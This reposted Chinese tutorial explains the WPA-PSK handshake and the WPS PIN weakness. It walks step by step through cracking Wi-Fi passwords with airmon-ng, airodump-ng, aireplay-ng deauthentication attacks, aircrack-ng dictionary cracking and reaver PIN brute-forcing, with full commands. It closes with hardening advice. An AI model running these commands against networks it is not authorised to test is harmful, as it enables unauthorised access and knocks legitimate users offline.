WPA-PSK無線網絡破解原理及過程(轉)

本文將主要講講WPA-PSK類型的無線網絡安全問題,首先咱們看下802.11協議相關的基礎知識。linux

  802.11常見的幾種認證方式:算法

  一、不啓用安全‍‍sass

  ‍‍二、WEP‍‍安全

  ‍‍三、WPA/WPA2-PSK(預共享密鑰)‍‍網絡

  ‍‍四、WPA/WPA2 802.1X (radius認證)less

  具體在路由器的配置界面通常以下圖所示:tcp

WPA-PSK無線網絡破解原理及過程

  WPA-PSK的認證過程:工具

  因爲我這裏主要分析wpa-psk類型的認證方式,因此這裏就不討論其餘的認證方式了,經過抓包分析,咱們能夠看到wpa-psk的大體認證過程分爲如下幾步。性能

WPA-PSK無線網絡破解原理及過程

  一、無線AP按期發送beacon數據包,使無線終端更新本身的無線網絡列表。測試

  ‍‍二、無線終端在每一個信道(1-13)廣播ProbeRequest(非隱藏類型的WiFi含ESSID,隱藏類型的WiFi不含ESSID)。‍‍

  ‍‍三、每一個信道的AP迴應,ProbeResponse,包含ESSID,及RSN信息。‍‍

  ‍‍四、無線終端給目標AP發送AUTH包。AUTH認證類型有兩種,0爲開放式、1爲共享式(WPA/WPA2必須是開放式)。‍‍

  ‍‍五、AP迴應網卡AUTH包。‍‍

  ‍‍六、無線終端給AP發送關聯請求包associationrequest數據包。‍‍

  ‍‍七、AP給無線終端發送關聯響應包associationresponse數據包。‍‍

  ‍‍八、EAPOL四次握手進行認證(握手包是破解的關鍵)。‍‍

  ‍‍九、完成認證能夠上網。

  802.11數據幀類型說明

  802.11協議的幀類型主要包括管理幀和數據幀,咱們這裏主要用到管理幀:

  管理幀的主體包含的固定字段與信息元素是用來運送信息的。管理幀主要如下幾種,負責鏈路層的各類維護功能。

  1. Beacon 信標幀

  主要用來聲明某個網絡的存在。按期(默認100s、可本身設置)傳送的信標可以讓station得知網絡的存在,從而調整加入該網絡所必需的參數。

  2. Probe Request 探查請求幀

  移動工做站利用Probe Request探查請求幀來掃描區域內目前哪些802.11網絡。

  包含2個字段

  SSID:可被設定爲特定網絡的 SSID 或任何網絡的 SSID 。

  Support rates:移動工做站所支持的速率。

  3.ProbeResponse探查響應幀

  若是ProbeRequest所探查的網絡與之兼容,該網絡就會以ProbeResponse幀響應。送出最後一個beacon幀的工做站必須負責響應所收到的探查信息。

  Probe Request幀中包含了beacon幀的所參數,station可根據它調整加入網絡所須要的參數。

  4.IBSS announcement traffic indication map (ATIM)

  IBSS 的通知傳輸只是消息

  5.Disassociation and Deauthentication

  取消關聯、解除驗證幀

  6. AssociationRequest

  關聯請求幀

  7.Reassociation Request

  從新關聯

  8.Association Response and Reassociation Response

  關聯響應、從新關聯響應

  9.Authentication

  身份驗證幀 ///Authentication Algorithm Number:用於算法擇

  10.Action frame

  幀傳送、關聯與身份驗證的狀態

  State1 :未經認證且還沒有關聯 2 :已經認證但還沒有關聯 3 :已經認證且已經關聯。

  下圖是用科來分析數據包顯示的幀類型:

WPA-PSK無線網絡破解原理及過程

  WPA-PSK認證四次握手認證的過程:

WPA-PSK無線網絡破解原理及過程

  WPA-PSK破解原理:

  用咱們字典中的PSK+ssid先生成PMK(此步最耗時,是目前破解的瓶頸所在),而後結合握手包中的客戶端MAC,AP的BSSID,A-NONCE,S-NONCE計算PTK,再加上原始的報文數據算出MIC並與AP發送的MIC比較,若是一致,那麼該PSK就是密鑰。如圖所示:

WPA-PSK無線網絡破解原理及過程

  WPA-PSK破解過程:

  接下來咱們看看如何進行抓握手包破解WPA-PSK的無線AP,我這裏用的工具是kali Linux,kali Linux集成了aircrack套件。而後網卡使用的是rtl8187芯片的外置USB網卡。

  破解步驟以下:

  第一步:把usb網卡插入虛擬機,並開啓網卡到監聽模式,命令以下:

  「ifconfig wlan0 up」 加載usb網卡。‍‍

  ‍‍「airmon-ng start wlan0」 監聽模式已激活到mon0。(經過config 命令查看)。

  若是不開啓監聽模式會報錯以下圖:

WPA-PSK無線網絡破解原理及過程

  第二步:抓包查看有哪些無線網絡,抓包的界面以下圖所示:

  「airodump-ng mon0」 查看周邊路由AP的信息。

  我的經驗通常信號強度大於-70的能夠進行破解,大於-60就最好了,小於-70的不穩定,信號比較弱。(信號強度的絕對值越小表示信號越強)

WPA-PSK無線網絡破解原理及過程

WPA-PSK無線網絡破解原理及過程

WPA-PSK無線網絡破解原理及過程

  第三步:選擇要破解的WiFi,有針對性的進行抓握手包,命令以下:

  「 airodump-ng--ignore-negative-one -w /tmp/test.cap-c 11 --bssid 40:16:9F:76:E7:DE mon0」

  參數說明:-w 保存數據包的文件名 –c 信道 –bssid ap的mac地址

  (注意test.cap會被重命名),也能夠用其餘工具抓包好比:wireshark、tcpdump,抓到握手包會有提示。

  第四步:爲了順利抓到握手包,咱們須要使用DEAUTH攻擊使已經鏈接的客戶端斷開並從新鏈接,以產生握手包。(注意:抓握手包破解必須有合法的客戶端才行。)攻擊命令以下:

  aireplay-ng-0 111 -a ap'mac mon1‍‍

  ‍‍aireplay-ng-0 3 -a B8:A3:86:63:B4:06 -c 00:18:1a:10:da:c9 -x 200 mon1

  參數說明:-0 Deautenticate 衝突模式 3 發包次數 -x 發包速度

WPA-PSK無線網絡破解原理及過程

  抓包能夠看到不少deauthentication類型的數據包:

WPA-PSK無線網絡破解原理及過程

  包結構以下:

WPA-PSK無線網絡破解原理及過程

  抓到的數據包打開後以下圖:圖中使用wireshark打開的,EAPOL類型的數據包共有4個,即四次握手的數據包。

WPA-PSK無線網絡破解原理及過程

  第五步:接下來就是破解握手包,命令以下:

  aircrack-ng-w pass-haoyong.txt test-03.cap

  參數解釋:-w 字典路徑

WPA-PSK無線網絡破解原理及過程

  也可使用圖形化工具EWSA進行破解,Elcomsoft Wireless Security Auditor(EWSA)

  號稱能夠利用GPU的運算性能快速攻破無線網絡密碼,運算速度相比使用CPU可提升最多上百倍。

WPA-PSK無線網絡破解原理及過程

  上面咱們講解了經過抓握手包破解WPA-PSK認證的無線AP的全過程,從上述過程能夠看出,若是AP沒有合法的客戶端鏈接,或者密碼設置的足夠複雜就基本上不可能破解。

  經過WPS破解無線路由器密碼

  接下來咱們看一下另外一種破解方式,也就是常說的pin碼破解後者叫wps破解。首先了解下什麼是wps:

  WPS(Wi-FiProtected Setup,Wi-Fi保護設置)是由Wi-Fi聯盟組織實施的認證項目,主要致力於簡化無線網絡的安全加密設置。

  功能:

  簡化配置,快速配置一個基於WPA2的網絡。

  快速鏈接,輸入pin碼或按下WPS鍵便可完成網絡鏈接。

  問題:

  因爲WPS存在漏洞,經過PIN碼能夠直接提取上網密碼。

  經過WPS快速配置無線路由器

  咱們能夠經過WPS快速配置無線路由器:步驟以下

  一、經過電腦鏈接新買的無線路由器,提示經過pin碼進行設置,界面以下:

WPA-PSK無線網絡破解原理及過程

  二、輸入pin碼下一步,就會爲路由器自動生成一個足夠複雜的認證方式及密碼:

WPA-PSK無線網絡破解原理及過程

WPA-PSK無線網絡破解原理及過程

  經過WPS快速鏈接已有網絡

  咱們也能夠經過WPS快速鏈接已有網絡,不用輸入複雜的密碼:步驟以下(我使用小米手機進行測試)

  一、在手機上選擇經過PIN碼進行鏈接或經過路由器上的WPS按鍵鏈接。

  二、若是選擇前者只須要輸入pin碼便可鏈接,若是選擇的是後者則只須要按如下路由器上的wps鍵便可完成鏈接。

WPA-PSK無線網絡破解原理及過程

  Pin碼破解的原理:

  因爲WPS存在安全問題,經過PIN碼能夠直接提取上網密碼。而pin碼是一個8位的整數,破解過程時間比較短。WPS PIN碼的第8位數是一個校驗和,所以黑客只需計算前7位數。另外前7位中的前四位和後三位分開認證。因此破解pin碼最多隻須要1.1萬次嘗試,順利的狀況下在3小時左右。Wps認證流程以下圖:

WPA-PSK無線網絡破解原理及過程

  破解的操做步驟:

  第一步:Wash 掃描開啓WPS的網絡。

  wash-i mon1 –C

WPA-PSK無線網絡破解原理及過程

  第二步:窮舉破解pin碼,並經過獲取的pin碼獲得無線AP上網密碼。

  reaver-i mon0 -b 5C:63:BF:BA:44:DC -a -S -vv

  reaver參數說明:

  1. -i 監聽後接口稱號‍‍

  ‍‍2. -b APmac地址‍‍

  ‍‍3. -a 主動檢測AP最佳配置‍‍

  ‍‍4. -S 利用最小的DH key(可以進步PJ速度)‍‍

  ‍‍5. -v、-vv 顯示更多的破解信息‍‍

  ‍‍6. -d 即delay每窮舉一次的閒置時候預設爲1秒‍‍

  ‍‍7. -t 即timeout每次窮舉守候反應的最長時候‍‍

  ‍‍8. -c指定頻道可以便當找到信號,如-c1 指定1頻道

WPA-PSK無線網絡破解原理及過程

  若是無線路由器沒開wps功能會報錯以下圖:

WPA-PSK無線網絡破解原理及過程

  另外破解過程當中無線路由器會有以下特徵:

WPA-PSK無線網絡破解原理及過程

  破解成功後以下:

WPA-PSK無線網絡破解原理及過程

  若是以前破解的無線路由器密碼被改了,能夠直接經過pin碼獲取密碼,命令以下:

  reaver-i mon0 -b MAC -p PIN8位數

WPA-PSK無線網絡破解原理及過程

  上面就是經過pin碼破解無線路由器密碼的全過程,可見開啓wps功能並不安全,建議最好不要開此功能。

  最後介紹幾個圖形界面的工具:

  經常使用的圖形界面的工具備水滴、打氣筒、奶瓶:

  這些工具只是將Aircrack-ng、 reaver打包圖形化,即爲Aircrack-ng套件的GUI。

  1. Aircrack-ng是一個與802.11標準的無線網絡分析關的安全軟件,主要功能:網絡偵測,數據包嗅探,WEP和WPA/WPA2-PSKPJ。

  2. reaver,專用來pin PJ的軟件、通常都集成在水滴等裏面了。

  3. 另外咱們經常使用的注:beini/CDlinux/xiaopan都是小型linux系統,已集成了上述工具。下圖爲水滴的界面。

WPA-PSK無線網絡破解原理及過程

  安全建議:

  1. 使用WPA2認證,不要使用wep或無認證。‍‍

  ‍‍2. 爲無線網路設置複雜的密碼。‍‍

  ‍‍3. 關閉WPS功能。

相關文章
相關標籤/搜索